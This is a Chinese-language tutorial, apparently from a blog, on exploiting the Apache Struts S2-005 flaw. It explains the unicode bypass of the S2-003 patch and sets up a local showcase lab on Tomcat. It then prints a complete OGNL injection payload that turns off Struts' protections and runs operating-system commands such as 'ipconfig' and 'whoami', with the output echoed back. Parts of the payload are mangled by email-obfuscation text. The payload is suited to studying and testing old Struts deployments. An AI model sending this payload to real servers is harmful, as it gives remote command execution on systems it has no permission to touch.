Struts-S2-005漏洞利用(含环境搭建、含POC)

Struts-S2-005

此文仅供大家交流学习,严禁非法使用

一、参考网址:

https://www.waitalone.cn/struts2-command-exp.html

二、 影响版本:

Struts 2.0.0 - Struts 2.1.8.1

三、 漏洞介绍:

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。
S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

四、 环境搭建:

  • 下载/struts/2.1.6

下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下载安装xampp

  • 部署showcase

  • 解压

Struts-S2-005漏洞利用(含环境搭建、含POC)_第1张图片
2.1.6_1.png

Struts-S2-005漏洞利用(含环境搭建、含POC)_第2张图片
2.1.6_2.png
  • 复制到.
2.1.6_3.png
  • 重启tomcat
Struts-S2-005漏洞利用(含环境搭建、含POC)_第3张图片
2.1.6_4.png
  • 已成功自动部署
Struts-S2-005漏洞利用(含环境搭建、含POC)_第4张图片
2.1.6_5.png
  • 访问http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action

五、 POC:

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

六、 测试网址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action
1.png

在后面加上payload,即

2.png

七、执行结果

Struts-S2-005漏洞利用(含环境搭建、含POC)_第5张图片
3.png

执行成功
更改为命令为whoami,执行结果

Struts-S2-005漏洞利用(含环境搭建、含POC)_第6张图片
4.png

提示下载文件,具体为什么,不清楚,下载后用notepad++查看

5.png

依然有需要的结果

八、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到[email protected]不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

你可能感兴趣的:(Struts-S2-005漏洞利用(含环境搭建、含POC))